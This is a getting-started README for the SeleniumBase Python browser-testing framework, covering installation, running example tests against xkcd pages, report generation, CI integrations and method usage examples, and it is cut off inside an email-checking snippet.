+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") Get Started with SeleniumBase
+
+> **Table of Contents / Navigation:**
+> - [**Intro and Demo**](#main_introduction)
+> - [**Full Feature List**](#feature_list)
+> - [**Install Requirements**](#dependency_installation)
+> - [**SeleniumBase Installation**](#seleniumbase_installation)
+> - [**Basic Example and Usage**](#seleniumbase_basic_usage)
+> - [**How SeleniumBase Works**](#how_seleniumbase_works)
+> - [**Generating Test Reports**](#creating_visual_reports)
+> - [**Production Environments**](#utilizing_advanced_features)
+> - [**Method Specifications**](#detailed_method_specifications)
+
+
+<a id="main_introduction"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") Intro and Demo
+
+<b>Simple Python syntax makes coding easy:</b><br>
+
+![](https://cdn2.hubspot.net/hubfs/100006/images/SampleCode2.png "SeleniumBase Python Code")
+<br>(<i>By default, [CSS Selectors](https://www.w3schools.com/cssref/css_selectors.asp) are used for finding page elements.</i>)
+
+<b>Customize scripts from the command line:</b>
+```bash
+nosetests my_first_test.py --demo_mode --with-selenium --browser=chrome -s
+
+pytest my_first_test.py --demo_mode -s
+```
+<b>Watch [my_first_test.py](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py) run in [Demo Mode](#seleniumbase_demo_mode):</b>
+
+![](http://cdn2.hubspot.net/hubfs/100006/images/sb_demo.gif "SeleniumBase Demo")
+
+<b>No more flaky tests:</b><br>
+SeleniumBase automatically waits for page elements to finish loading before interacting with them (*up to a timeout limit*). This means you no longer need random ``time.sleep()`` statements in your code.
+
+<b>SeleniumBase helps keep your code clean:</b><br>
+This long line of WebDriver code...
+```python
+self.driver.find_element_by_css_selector("textarea").send_keys("text")
+```
+...becomes the following in SeleniumBase:
+```python
+self.update_text("textarea", "text")
+```
+You can still use ``self.driver`` in your code.
+
+<b>Business Mindset</b>:<br>
+SeleniumBase makes it easy to automate tedious business tasks. (*To learn about businesses using SeleniumBase, [Click Here](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/happy_customers.md).*)
+
+<b>Hybrid Automation</b>:<br>
+SeleniumBase includes an automated/manual hybrid solution called **[MasterQA](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/masterqa/ReadMe.md)**, which speeds up manual testing by having automation perform all the web browser actions while the manual tester only needs to validate what is seen. **[Learn more about it here.](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/masterqa/ReadMe.md)**
+
+
+<a id="feature_list"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Full Feature List**
+* A test framework for building & running [reliable browser-based GUI scripts](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py).
+* [Python libraries](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/fixtures/base_case.py) for helping you do much more with Selenium-WebDriver.
+* A flexible CLI [in Nosetests](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/plugins/selenium_plugin.py) and [in Pytest](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/plugins/pytest_plugin.py) for customizing test runs.
+* [Plugins](https://github.com/seleniumbase/SeleniumBase/tree/master/seleniumbase/plugins) for logging [data and screenshots](https://github.com/seleniumbase/SeleniumBase/tree/master/examples/example_logs) automatically.
+* [A global config file](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) for making SeleniumBase unique to your specific environmental needs.
+* Easy integration with [Selenium Grid](https://github.com/seleniumbase/SeleniumBase/tree/master/integrations/selenium_grid), [MySQL](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/core/testcase_manager.py), [Docker](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/docker/ReadMe.md), [Google Cloud](https://github.com/seleniumbase/SeleniumBase/tree/master/integrations/google_cloud/ReadMe.md), [Amazon S3](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/plugins/s3_logging_plugin.py), and [NodeJS](https://github.com/seleniumbase/SeleniumBase/tree/master/integrations/node_js).
+* Backwards-compatible with [WebDriver](http://www.seleniumhq.org/projects/webdriver/). (Use ``self.driver`` anywhere.)
+* [A tool to convert Selenium IDE recordings](https://github.com/seleniumbase/SeleniumBase/tree/master/integrations/selenium_ide) into clean & reliable SeleniumBase scripts.
+
+
+<a id="dependency_installation"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Setup Instructions for Mac, Ubuntu, and Windows**
+
+*(**Debian Linux users**: Run [Linuxfile.sh](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/linux/Linuxfile.sh) to setup your Debian Linux machine.)*
+
+*(**Docker users**: See the [Docker ReadMe](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/docker/ReadMe.md) to setup your Docker machine.)*
+
+
+#### **Step 0a:** Setup your [![Python version](https://img.shields.io/badge/python-2.7-22AADD.svg "Python version")](https://docs.python.org/2/) Python/pip environment:
+
+* To install ``python``, ``pip``, ``git``, and either ``virtualenv`` or ``virtualenvwrapper``, **[follow these instructions](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/requirements_installation.md)**.
+
+
+#### **Step 0b:** Install web browsers to run automation on:
+
+* Download & install web browsers such as [Chrome](https://www.google.com/chrome/browser/desktop/index.html) (or [Chromium](https://download-chromium.appspot.com/)) and [Firefox](https://www.mozilla.org/firefox/new/).
+
+
+#### **Step 0c:** Get web drivers for each browser you intend to run automation on:
+
+To run automation on various web browsers, you'll need to download a driver file for each one and place it on your System **[PATH](http://java.com/en/download/help/path.xml)**. On a Mac, ``/usr/local/bin`` is a good spot. On Windows, make sure you set the System Path under Environment Variables to include the location where you placed the driver files:
+
+* For Chrome, get [Chromedriver](https://sites.google.com/a/chromium.org/chromedriver/downloads) on your System Path.
+
+* For Firefox, get [Geckodriver](https://github.com/mozilla/geckodriver/releases) on your System Path.
+
+* For Microsoft Edge, get [Edge Driver (Microsoft WebDriver)](https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/) on your System Path.
+
+* For Safari, get [Safari Driver](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/using_safari_driver.md) on your System Path.
+
+* For PhantomJS headless browser automation, get [PhantomJS](http://phantomjs.org/download.html) on your System Path.
+
+(NOTE: For older versions of Firefox such as 46.0 and earlier, you don't need Geckodriver. The older driver comes prepackaged with Selenium.)
+
+(NOTE: If you don't have access rights to update system variables, you can use the [Anaconda Version of Python 2](https://www.continuum.io/downloads). In that case, place web drivers in ``Anaconda_Installation_Path/Scripts/``)
+
+Mac:
+
+* On a Mac, you can install drivers more easily by using ``brew`` (aka ``homebrew``), but you have to install that first. [Brew installation instructions are here](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/requirements_installation.md).
+
+```bash
+brew install chromedriver phantomjs
+```
+
+* To verify that the web drivers are working, **[follow these instructions](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/verify_webdriver.md)**.
+
+
+<a id="seleniumbase_installation"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Step 1:** Clone SeleniumBase
+
+```bash
+git clone https://github.com/seleniumbase/SeleniumBase.git
+cd SeleniumBase
+```
+
+(A Git GUI tool like [SourceTree](http://www.sourcetreeapp.com/) may make things easier.)
+
+
+### **Step 2:** Create a Virtual Environment
+
+If you're not sure how to create one, **[follow these instructions](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/virtualenv_instructions.md)**.<br>For an overview of virtual environments and why it's good practice to use them, see **[http://docs.python-guide.org/en/latest/dev/virtualenvs/](http://docs.python-guide.org/en/latest/dev/virtualenvs/)**.
+
+
+### **Step 3:** Install SeleniumBase
+
+To install SeleniumBase from the [Python Package Index](https://pypi.python.org/pypi/seleniumbase) use:
+```bash
+pip install seleniumbase --upgrade
+```
+
+To install your local customized version of SeleniumBase use:
+```bash
+pip install -r requirements.txt --upgrade
+
+python setup.py install
+```
+
+
+<a id="seleniumbase_basic_usage"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Step 4:** Run the Example Script
+
+**Here's what the example script looks like:**
+
+```python
+from seleniumbase import BaseCase
+
+class MyTestClass(BaseCase):
+
+    def test_basic(self):
+        self.open('http://xkcd.com/353/')            # Navigate to the web page
+        self.assert_element('img[alt="Python"]')       # Assert element on page
+        self.click('a[rel="license"]')                  # Click element on page
+        self.assert_text('copy and reuse', 'div center')  # Assert element text
+        self.open('http://xkcd.com/1481/')
+        image_object = self.find_element('#comic img')    # Returns the element
+        caption = image_object.get_attribute('title')   # Get element attribute
+        self.assertTrue('connections to the server' in caption)
+        self.click_link_text('Blag')              # Click on link with the text
+        self.assert_text('xkcd', '#site-title')
+        header_text = self.get_text('header h2')  # Grab text from page element
+        self.assertTrue('The blag of the webcomic' in header_text)
+        self.update_text('input#s', 'Robots!\n')  # Fill in field with the text
+        self.assert_text('Hooray robots!', '#content')
+        self.open('http://xkcd.com/1319/')
+        self.assert_text('Automation', 'div#ctitle')
+```
+
+**Here's how to run the example script on various web browsers by using nosetests:**
+
+(NOTE: You can interchange **nosetests** with **pytest** [as seen here](#pytest_basic_usage).)
+
+```bash
+cd examples/
+
+nosetests my_first_test.py --with-selenium --browser=chrome -s
+
+nosetests my_first_test.py --with-selenium --browser=firefox -s
+
+nosetests my_first_test.py --with-selenium --browser=phantomjs -s
+```
+
+After the test completes, in the console output you'll see a dot (``.``) on a new line, representing a passing test. (On test failures you'll see an ``F`` instead, and on test errors you'll see an ``E``). It looks more like a moving progress bar when you're running a ton of unit tests side by side. This is part of nosetests. After all tests complete (in this case there is only one), you'll see the "``Ran 1 test in ...``" line, followed by an "``OK``" if all nosetests passed. The ``--with-selenium`` option is required for running GUI tests with nosetests (not needed when using pytest). If no browser is specified, Chrome will become the default. The ``-s`` option is optional, and that makes sure that any standard output is printed immediately on the command line when tests have print statements in them, which makes debugging much easier.
+
+(NOTE: If you're confused about how SeleniumBase works with Nosetests and Pytest, jump to the [**How SeleniumBase Works**](#how_seleniumbase_works) section to learn more about it.)
+
+<a id="seleniumbase_demo_mode"></a>
+If the example test is moving too fast for your eyes to see what's going on, you can run it in **Demo Mode** by adding ``--demo_mode`` on the command line, which pauses the browser briefly between actions, and highlights page elements being acted on:
+
+```bash
+nosetests my_first_test.py --with-selenium --browser=chrome -s --demo_mode
+```
+
+You can override the default wait time by either updating [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) or by using ``--demo_sleep={NUM}`` when using Demo Mode. (NOTE: If you use ``--demo_sleep={NUM}`` without using ``--demo_mode``, nothing will happen.)
+
+If you ever make any changes to your local copy of ``settings.py``, you may need to run ``python setup.py install`` for those changes to take effect.
+
+```bash
+nosetests my_first_test.py --with-selenium --browser=chrome -s --demo_mode --demo_sleep=1.2
+```
+
+You can also add either of the following to your scripts to slow down the tests:
+
+```python
+import time; time.sleep(5)  # sleep for 5 seconds (add this after the line you want to pause on)
+import ipdb; ipdb.set_trace()  # waits for your command. n = next line of current method, c = continue, s = step / next executed line (will jump)
+```
+
+(NOTE: If you're using pytest instead of nosetests and you want to use ipdb in your script for debugging purposes, you'll either need to add "--capture=no" on the command line, or use "import pytest; pytest.set_trace()" instead of using ipdb. More info on that [here](http://stackoverflow.com/questions/2678792/can-i-debug-with-python-debugger-when-using-py-test-somehow).)
+
+You may also want to have your test sleep in other situations where you need to have your test wait for something. If you know what you're waiting for, you should be specific by using a command that waits for something specific to happen.
+
+If you need to debug things on the fly (in case of errors), use this line to run the code:
+
+```bash
+nosetests my_first_test.py --browser=chrome --with-selenium --pdb --pdb-failures -s
+```
+
+The above code (with --pdb) will leave your browser window open in case there's a failure, which is possible if the web pages from the example change the data that's displayed on the page. (ipdb commands: 'c', 's', 'n' => continue, step, next).
+
+Here are some other useful nosetest arguments that you may want to append to your run commands:
+
+```bash
+--logging-level=INFO  # Hide DEBUG messages, which can be overwhelming.
+-x  # Stop running the tests after the first failure is reached.
+-v  # Prints the full test name rather than a dot for each test.
+--with-id  # If -v is also used, will number the tests for easy counting.
+```
+
+
+<a id="pytest_basic_usage"></a>
+Here's how to run the example script with **pytest**:
+
+```bash
+cd examples/
+
+pytest my_first_test.py --with-testing_base --browser=firefox -s
+
+pytest my_first_test.py --with-testing_base --browser=chrome -s
+
+pytest my_first_test.py --with-testing_base --browser=phantomjs -s
+```
+(NOTE: The ``--with-testing_base`` plugin gives you full logging on test failures, which saves screenshots, page source, and basic test info into the logs folder.)
+
+(NOTE: If you're using **pytest** instead of nosetests for running tests outside of the SeleniumBase repo, **you'll need a copy of [pytest.ini](https://github.com/seleniumbase/SeleniumBase/blob/master/pytest.ini) at the base of the new folder structure.**
+
+
+<a id="how_seleniumbase_works"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **How SeleniumBase Works:**
+
+At the core, SeleniumBase works by extending Nosetests and Pytest as a direct plugin to each one. This plugin is activated by using "``--with-selenium``" as a command line argument when running Nosetest/Pytest. When activated, Selenium-WebDriver automatically spins up web browsers for tests, and then gives those tests access to the SeleniumBase libraries through the base class.
+
+Once you've activated the main SeleniumBase plugin with "``--with-selenium``", you can use "``--browser=chrome``" to specify the web browser to use (Default = "Chrome"). You can also include additional plugins for additional features such as "``--with-testing_base``" (for logging data/screenshots on test failures) and "``--demo_mode``" (for highlighting elements & slowing test runs). There are also other plugins available such as "``--with-db_reporting``", "``--with-s3_logging``", and more.
+
+(NOTE: Nosetests and Pytest work by automatically running any Python method that starts with "``test``" from the file that you specified on the command line. You can also run all tests from a specific class in a file, or even pick out an individual test to run.)
+
+To use SeleniumBase calls you need the following:
+```python
+from seleniumbase import BaseCase
+```
+And then have your test classes inherit BaseCase:
+```python
+class MyTestClass(BaseCase):
+```
+(*See the example test, [my_first_test.py](https://github.com/seleniumbase/SeleniumBase/blob/master/examples/my_first_test.py), for reference.*)
+
+
+<a id="creating_visual_reports"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Creating Visual Test Suite Reports:**
+
+(NOTE: The command line args are different for Nosetests vs Pytest)
+
+#### **Nosetest Reports:**
+
+The ``--report`` option gives you a fancy report after your test suite completes. (Requires ``--with-testing_base`` to also be set when ``--report`` is used because it's part of that plugin.)
+
+```bash
+nosetests my_test_suite.py --with-selenium --with-testing_base --report --browser=chrome -s
+```
+![](http://cdn2.hubspot.net/hubfs/100006/images/Test_Report_2.png "Example Nosetest Report")
+
+(NOTE: You can add ``--show_report`` to immediately display the report after the test suite completes. You don't want to use this when running tests remotely because otherwise the test run will hang indefinitely until someone manually exits the report.)
+
+#### **Pytest Reports:**
+
+Using ``--html=report.html`` gives you a fancy report of the name specified after your test suite completes.
+
+```bash
+pytest my_test_suite.py --with-selenium --html=report.html
+```
+
+![](https://cdn2.hubspot.net/hubfs/100006/images/PytestReport.png "Example Pytest Report")
+
+<a id="utilizing_advanced_features"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Using Production Environments & Integrations:**
+
+Here are some things you can do to setup a production environment for your testing:
+
+* You can setup a [Jenkins](http://jenkins-ci.org/) build server for running tests at regular intervals. (Or you can use any build server you want.)
+
+* You can use [Selenium Grid](https://github.com/SeleniumHQ/selenium/wiki/Grid2) to scale your testing by distributing tests on several machines with parallel execution. To do this, just spin up some remote machines with WebDriver installed, then update the *.cfg file that lives with your tests on your build server to point there. When doing so, add the command line option to use that file like this: ``--config=[MY_CONFIG_FILE].cfg``). An example config file called selenium_server_config_example.cfg has been provided for you in the integrations/selenium_grid folder. The start-selenium-node.bat and start-selenium-server.sh files are for running your grid. In an example situation, your Selenium Grid server might live on a unix box and your Selenium Grid nodes might live on EC2 Windows virtual machines. When your build server runs a Selenium test, it would connect to your Selenium Grid to find out which Grid browser nodes are available to run that test. To simplify things, you can use [Browser Stack](https://www.browserstack.com/automate) as your entire Selenium Grid (and let them do all the fun work of maintaining the grid for you).
+
+* There are ways of running your tests from Jenkins without having to utilize a remote machine. One way is by using PhantomJS as your browser (it runs headlessly). Another way is by using Xvfb (another headless system). [There's a plugin for Xvfb in Jenkins](https://wiki.jenkins-ci.org/display/JENKINS/Xvfb+Plugin). If you have Xvfb running in the background, you can add ``--headless`` to your run command in order to utilize it. For information about the Xvfb plugin for Jenkins, [click here](http://qxf2.com/blog/xvfb-plugin-for-jenkins-selenium/). To see a real-world Jenkins example of headless browser automation in action, [check out the SeleniumBase Google Cloud ReadMe](https://github.com/seleniumbase/SeleniumBase/blob/master/integrations/google_cloud/ReadMe.md), which covers this topic with screenshots.
+
+* If you're using the [SeleniumBase MySQL feature](https://github.com/seleniumbase/SeleniumBase/blob/master/help_docs/mysql_installation.md) to save results from tests running on a server machine, you can install [MySQL Workbench](http://dev.mysql.com/downloads/tools/workbench/) to help you read & write from your DB more easily.
+
+* If you're using AWS, you can setup an [Amazon S3](http://aws.amazon.com/s3/) account for saving your log files and screenshots for future viewing. SeleniumBase already has all the code you need to connect to it. (You'll need to modify [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py) with connection details to your instance and the location in S3 where you want log files to be saved.)
+
+* If you use [Slack](https://slack.com), you can easily have your Jenkins jobs display results there by using the [Jenkins Slack Plugin](https://github.com/jenkinsci/slack-plugin). Another way to send messages from your tests to Slack is by using [Slack's Incoming Webhooks API](https://api.slack.com/incoming-webhooks).
+
+* If you use [HipChat](https://www.hipchat.com/), you can easily have your Jenkins jobs display results there by using the [Jenkins HipChat Plugin](https://wiki.jenkins-ci.org/display/JENKINS/HipChat+Plugin). Another way is by using the [hipchat_reporting plugin](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/plugins/hipchat_reporting_plugin.py) (nosetests only).
+
+* Be sure to tell SeleniumBase to use these added features when you set them up. That's easy to do. You would be running tests like this:
+
+```bash
+nosetests [YOUR_TEST_FILE].py --browser=chrome --with-selenium --with-testing_base --with-db_reporting --with-s3_logging -s
+```
+(NOTE: If you haven't configured your MySQL or S3 connections in [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py), don't use ``--with-db_reporting`` or ``--with-s3_logging``.)
+
+When the testing_base plugin is used, if there's a test failure, the basic_test_info plugin records test logs, the page_source plugin records the page source of the last web page seen by the test, and the screen_shots plugin records the image of the last page seen by the test where the failure occurred. Make sure you always include testing_base whenever you include a plugin that logs test data. The db_reporting plugin records the status of all tests run into your MySQL DB. The s3_logging plugin uploads basic test info, screenshots, and page source into your S3 storage folder.
+
+To simplify that long run command, you can create a *.cfg file, such as the one provided in the example, and enter your plugins there so that you can run everything by typing:
+
+```bash
+nosetests [YOUR_TEST_FILE].py --config=[MY_CONFIG_FILE].cfg -s
+```
+
+You can simplify that even more by using a setup.cfg file, such as the one provided for you in the examples folder. If you kick off a test run from within the folder that setup.cfg is location in, that file will automatically be used as your configuration, meaning that you wouldn't have to type out all the plugins that you want to use (or include a config file) everytime you run tests.
+
+If you tell nosetests to run an entire file, it will run every method in that python file that starts with "test". You can be more specific on what to run by doing something like:
+
+```bash
+nosetests [YOUR_TEST_FILE].py:[SOME_CLASS_NAME].test_[SOME_TEST_NAME] --config=[MY_CONFIG_FILE].cfg -s
+```
+
+Let's try an example of a test that fails. Copy the following into a file called fail_test.py:
+```python
+""" test_fail.py """
+from seleniumbase import BaseCase
+
+class MyTestClass(BaseCase):
+
+    def test_find_army_of_robots_on_xkcd_desert_island(self):
+        self.open("http://xkcd.com/731/")
+        self.assert_element("div#ARMY_OF_ROBOTS", timeout=3)  # This should fail
+```
+Now run it:
+
+```bash
+nosetests test_fail.py --browser=chrome --with-selenium --with-testing_base -s
+```
+
+You'll notice that a logs folder, "latest_logs", was created to hold information about the failing test, and screenshots. Take a look at what you get. Remember, this data can be saved in your MySQL DB and in S3 if you include the necessary plugins in your run command (and if you set up the neccessary connections properly). For future test runs, past test results will get stored in the archived_logs folder if you have ARCHIVE_EXISTING_LOGS set to True in [settings.py](https://github.com/seleniumbase/SeleniumBase/blob/master/seleniumbase/config/settings.py).
+
+
+<a id="detailed_method_specifications"></a>
+### ![http://seleniumbase.com](https://cdn2.hubspot.net/hubfs/100006/images/super_logo_tiny.png "SeleniumBase") **Detailed Method Specifications and Examples:**
+
+#### Navigating to a web page (and related commands)
+
+```python
+self.open("https://xkcd.com/378/")  # This method opens the specified page.
+
+self.go_back()  # This method navigates the browser to the previous page.
+
+self.go_forward()  # This method navigates the browser forward in history.
+
+self.refresh_page()  # This method reloads the current page.
+
+self.get_current_url()  # This method returns the current page URL.
+
+self.get_page_source()  # This method returns the current page source.
+```
+
+**ProTip™:** You may need to use the get_page_source() method along with Python's find() command to parse through the source to find something that Selenium wouldn't be able to. (You may want to brush up on your Python programming skills for that.)
+Ex:
+```python
+source = self.get_page_source()
+first_image_open_tag = source.find('<img>')
+first_image_close_tag = source.find'</img>', first_image_open_tag)
+everything_inside_first_image_tags = source[first_image_open_tag+len('<img>'):first_image_close_tag]
+```
+
+#### Clicking
+
+To click an element on the page:
+
+```python
+self.click("div#my_id")
+```
+
+**ProTip™:** In most web browsers, you can right-click on a page and select ``Inspect Element`` to see the CSS selector details that you'll need to create your own scripts.
+
+#### Typing Text
+
+self.update_text(selector, text)  # updates the text from the specified element with the specified value. An exception is raised if the element is missing or if the text field is not editable. Example:
+
+```python
+self.update_text("input#id_value", "2012")
+```
+
+You can also use self.add_text() or the WebDriver .send_keys() command, but those won't clear the text box first if there's already text inside.
+If you want to type in special keys, that's easy too. Here's an example:
+
+```python
+from selenium.webdriver.common.keys import Keys
+self.find_element("textarea").send_keys(Keys.SPACE + Keys.BACK_SPACE + '\n')  # the backspace should cancel out the space, leaving you with the newline
+```
+
+#### Getting the text from an element on a page
+
+```python
+text = self.get_text("header h2")
+```
+
+#### Getting the attribute value from an element on a page
+
+```python
+attribute = self.get_attribute("#comic img", "title")
+```
+
+#### Asserting existance of an element on a page within some number of seconds:
+
+```python
+self.wait_for_element_present("div.my_class", timeout=10)
+```
+(NOTE: You can also use: ``self.assert_element_present(ELEMENT)``)
+
+#### Asserting visibility of an element on a page within some number of seconds:
+
+```python
+self.wait_for_element_visible("a.my_class", timeout=5)
+```
+(NOTE: The short versions of this are ``self.find_element(ELEMENT)`` and ``self.assert_element(ELEMENT)``. The find_element() version returns the element)
+
+Since the line above returns the element, you can combine that with .click() as shown below:
+
+```python
+self.find_element("a.my_class", timeout=5).click()
+
+# But you're better off using the following statement, which does the same thing:
+
+self.click("a.my_class")  # DO IT THIS WAY!
+```
+
+Using dots to signify class names is a simplified way of using ``*=`` within a CSS selector. That simplified version looks like this:
+
+```python
+self.click('a[class*="my_class"]')
+```
+
+**ProTip™:** You can use ``*=`` to search for any partial value in a CSS selector.
+
+#### Asserting visibility of text inside an element on a page within some number of seconds:
+
+```python
+self.wait_for_text_visible("Make it so!", "div#trek div.picard div.quotes", timeout=3)
+self.wait_for_text_visible("Tea. Earl Grey. Hot.", "div#trek div.picard div.quotes", timeout=1)
+```
+(NOTE: The short versions of this are ``self.find_text(TEXT, ELEMENT)`` and ``self.assert_text(TEXT, ELEMENT)``)
+
+#### Asserting Anything
+
+```python
+self.assertTrue(myvar1 == something)
+
+self.assertEqual(var1, var2)
+```
+
+#### Useful Conditional Statements (with creative examples in action)
+
+is_element_visible(selector)  # is an element visible on a page
+```python
+import logging
+if self.is_element_visible('div#warning'):
+    logging.debug("Red Alert: Something bad might be happening!")
+```
+
+is_element_present(selector)  # is an element present on a page
+```python
+if self.is_element_present('div#top_secret img.tracking_cookie'):
+    self.contact_cookie_monster()  # Not a real method unless you define it somewhere
+else:
+    current_url = self.get_current_url()
+    self.contact_the_nsa(url=current_url, message="Dark Zone Found")  # Not a real method unless you define it somewhere
+```
+Another example:
+```python
+def is_there_a_cloaked_klingon_ship_on_this_page():
+    if self.is_element_present("div.ships div.klingon"):
+        return not self.is_element_visible("div.ships div.klingon")
+    return False
+```
+
+is_text_visible(text, selector)  # is text visible on a page
+```python
+def get_mirror_universe_captain_picard_superbowl_ad(superbowl_year):
+    selector = "div.superbowl_%s div.commercials div.transcript div.picard" % superbowl_year
+    if self.is_text_visible("For the Love of Marketing and Earl Grey Tea!", selector):
+        return "Picard HubSpot Superbowl Ad 2015"
+    elif self.is_text_visible("Delivery Drones... Engage", selector):
+        return "Picard Amazon Superbowl Ad 2015"
+    elif self.is_text_visible("Bing it on Screen!", selector):
+        return "Picard Microsoft Superbowl Ad 2015"
+    elif self.is_text_visible("OK Glass, Make it So!", selector):
+        return "Picard Google Superbowl Ad 2015"
+    elif self.is_text_visible("Number One, I've Never Seen Anything Like It.", selector):
+        return "Picard Tesla Superbowl Ad 2015"
+    elif self.is_text_visible("""With the first link, the chain is forged.
+                              The first speech censored, the first thought forbidden,
+                              the first freedom denied, chains us all irrevocably.""", selector):
+        return "Picard Wikimedia Superbowl Ad 2015"
+    elif self.is_text_visible("Let us make sure history never forgets the name ... Facebook", selector):
+        return "Picard Facebook Superbowl Ad 2015"
+    else:
+        raise Exception("Reports of my assimilation are greatly exaggerated.")
+```
+
+#### Switching Tabs
+
+What if your test opens up a new tab/window and now you have more than one page? No problem. You need to specify which one you currently want Selenium to use. Switching between tabs/windows is easy:
+Ex:
+
+```python
+self.switch_to_window(1)  # this switches to the new tab (0 is the first one)
+```
+
+**ProTip™:** iFrames follow the same principle as new windows - you need to specify the iFrame if you want to take action on something in there
+Ex:
+
+```python
+self.switch_to_frame('ContentManagerTextBody_ifr')
+# Now you can act inside the iFrame
+# .... Do something cool (here)
+self.switch_to_default_content()  # exit the iFrame when you're done
+```
+
+#### Handle Pop-Up Alerts
+
+What if your test makes an alert pop up in your browser? No problem. You need to switch to it and either accept it or dismiss it:
+Ex:
+
+```python
+self.wait_for_and_accept_alert()
+
+self.wait_for_and_dismiss_alert()
+```
+
+If you're not sure whether there's an alert before trying to accept or dismiss it, one way to handle that is to wrap your alert-handling code in a try/except block. Other methods such as .text and .send_keys() will also work with alerts.
+
+#### Executing Custom jQuery Scripts:
+
+jQuery is a powerful JavaScript library that allows you to perform advanced actions in a web browser.
+If the web page you're on already has jQuery loaded, you can start executing jQuery scripts immediately.
+You'd know this because the web page would contain something like the following in the HTML:
+
+```html
+<script src="http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js"></script>
+```
+
+It's OK if you want to use jQuery on a page that doesn't have it loaded yet. To do so, run the following command first:
+
+```python
+self.activate_jquery()
+```
+
+Here are some examples of using jQuery in your scripts:
+```python
+self.execute_script('jQuery, window.scrollTo(0, 600)')  # Scrolling the page
+
+self.execute_script("jQuery('#annoying-widget').hide()")  # Hiding elements on a page
+
+self.execute_script("jQuery('#annoying-button a').remove()")  # Removing elements on a page
+
+self.execute_script("jQuery('%s').mouseover()" % (mouse_over_item))  # Mouse-over elements on a page
+
+self.execute_script("jQuery('input#the_id').val('my_text')")  # Fast text input on a page
+
+self.execute_script("jQuery('div#dropdown a.link').click()")  # Click elements on a page
+
+self.execute_script("return jQuery('div#amazing')[0].text")  # Returns the css "text" of the element given
+
+self.execute_script("return jQuery('textarea')[2].value")  # Returns the css "value" of the 3rd textarea element on the page
+```
+
+In the following example, javascript is used to plant code on a page that Selenium can then touch after that:
+```python
+self.open(SOME_PAGE_TO_PLAY_WITH)
+referral_link = '<a class="analytics test" href="%s">Free-Referral Button!</a>' % DESTINATION_URL
+self.execute_script("document.body.innerHTML = \"%s\"" % referral_link)
+self.click("a.analytics")  # Clicks the generated button
+```
+
+#### Using non-terminating verifications:
+
+Let's say you want to verify multiple different elements on a web page in a single test, but you don't want the test to fail until you verified several elements at once so that you don't have to rerun the test to find more missing elements on the same page. That's where page checks come in. Here's the example:
+
+```python
+from seleniumbase import BaseCase
+
+class MyTestClass(BaseCase):
+
+    def test_non_terminating_checks(self):
+        self.open('http://xkcd.com/993/')
+        self.wait_for_element('#comic')
+        self.check_assert_element('img[alt="Brand Identity"]')
+        self.check_assert_element('img[alt="Rocket Ship"]')  # Will Fail
+        self.check_assert_element('#comicmap')
+        self.check_assert_text('Fake Item', '#middleContainer')  # Will Fail
+        self.check_assert_text('Random', '#middleContainer')
+        self.check_assert_element('a[name="Super Fake !!!"]')  # Will Fail
+        self.process_checks()
+```
+
+``check_assert_element()`` and ``check_assert_text()`` will save any exceptions that would be raised.
+To flush out all the failed checks into a single exception, make sure to call ``self.process_checks()`` at the end of your test method. If your test hits multiple pages, you can call ``self.process_checks()`` at the end of all your checks for a single page. This way, the screenshot from your log file will make the location where the checks were made.
+
+#### Accessing raw WebDriver
+
+If you need access to any commands that come with standard WebDriver, you can call them directly like this:
+```python
+self.driver.delete_all_cookies()
+capabilities = self.driver.capabilities
+self.driver.find_elements_by_partial_link_text("GitHub")
+```
+(In general, you'll want to use the SeleniumBase versions of methods when available.)
+
+####  Checking Email: 
+Let's say you have a test that sends an email, and now you want to check that the email was received:
+
+```python
+from seleniumbase.fixtures.email_manager import EmailManager, EmailException
+num_email_results = 0
+email_subject = "This is the subject to search for (maybe include a timestamp)"
+email_manager = EmailManager("[YOUR SELENIUM GMAIL EMAIL ADDRESS]")  # the password for this is elsewhere (in the library) because this is a default email account
+try:
+    html_text = email_manager.search(SUBJECT="%s" % email_subject, timeout=300)
+    num_email_results = len(html_text)
+except EmailException:
+    num_email_results = 0
